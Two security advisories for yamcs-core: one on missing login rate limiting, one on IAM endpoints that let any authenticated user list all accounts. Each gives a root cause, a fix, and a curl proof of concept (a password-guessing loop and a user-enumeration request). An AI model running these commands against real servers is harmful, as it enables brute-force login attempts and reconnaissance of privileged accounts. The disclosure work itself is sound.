Summary

The authentication endpoint POST /auth/token in yamcs-core lacks any form of rate limiting, account lockout, or failed attempt throttling. As a result, an unauthenticated remote attacker can perform unlimited password guessing attempts against any user account.

This missing rate limiting vulnerability (CWE-307) significantly increases the risk of successful brute-force attacks.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java

POST /auth/token has no rate limiting, no lockout after failed attempts, and no CAPTCHA. The handler processes unlimited authentication requests without any throttling mechanism:

java // AuthHandler.java — handleToken() // No throttle, no failed attempt counter, no lockout private void handleToken(HandlerContext ctx) { ... getSecurityStore().login(token).whenComplete((info, err) -> { // Directly attempts authentication with no rate check }); }

This is absent by default — the official quickstart and documentation contain no guidance on configuring rate limiting.

Impact

An attacker can make unlimited authentication attempts against any account. This enables efficient brute-force attacks against any account.

Proof of Concept

bash 20 attempts — zero rate limiting for i in $(seq 1 20); do curl -s -o /dev/null -w "Attempt $i: HTTP %{httpcode}\n" \ -X POST "http://TARGET:8090/auth/token" \ -d "granttype=password&username=operator&password=operator12$i" done All return HTTP 401 — no HTTP 429 ever

Confirmed: 20 attempts in 0.07 seconds, no rate limiting enforced.

Fix

Implement DRF-style throttling on /auth/token:

java // Track failed attempts per IP private static final Cache<String, Integer> FAILEDATTEMPTS = CacheBuilder.newBuilder().expireAfterWrite(15, TimeUnit.MINUTES).build();

private static final int MAXATTEMPTS = 10;

private void handleToken(HandlerContext ctx) { String ip = ctx.getRemoteAddress(); int attempts = Optional.ofNullable(FAILEDATTEMPTS.getIfPresent(ip)).orElse(0); if (attempts >= MAXATTEMPTS) { throw new TooManyRequestsException("Rate limit exceeded"); } // ... existing auth logic // On failure: FAILEDATTEMPTS.put(ip, attempts + 1) }

Summary

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } }

Compare with properly protected endpoints:

java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Impact

Any authenticated user can:

1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts

Proof of Concept

bash Authenticate as any low-privilege user GET accesstoken curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "granttype=password&username=lowpriv&password=lowpriv123"

Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste accesstoken

Output (confirmed):

json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] }

Fix

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... }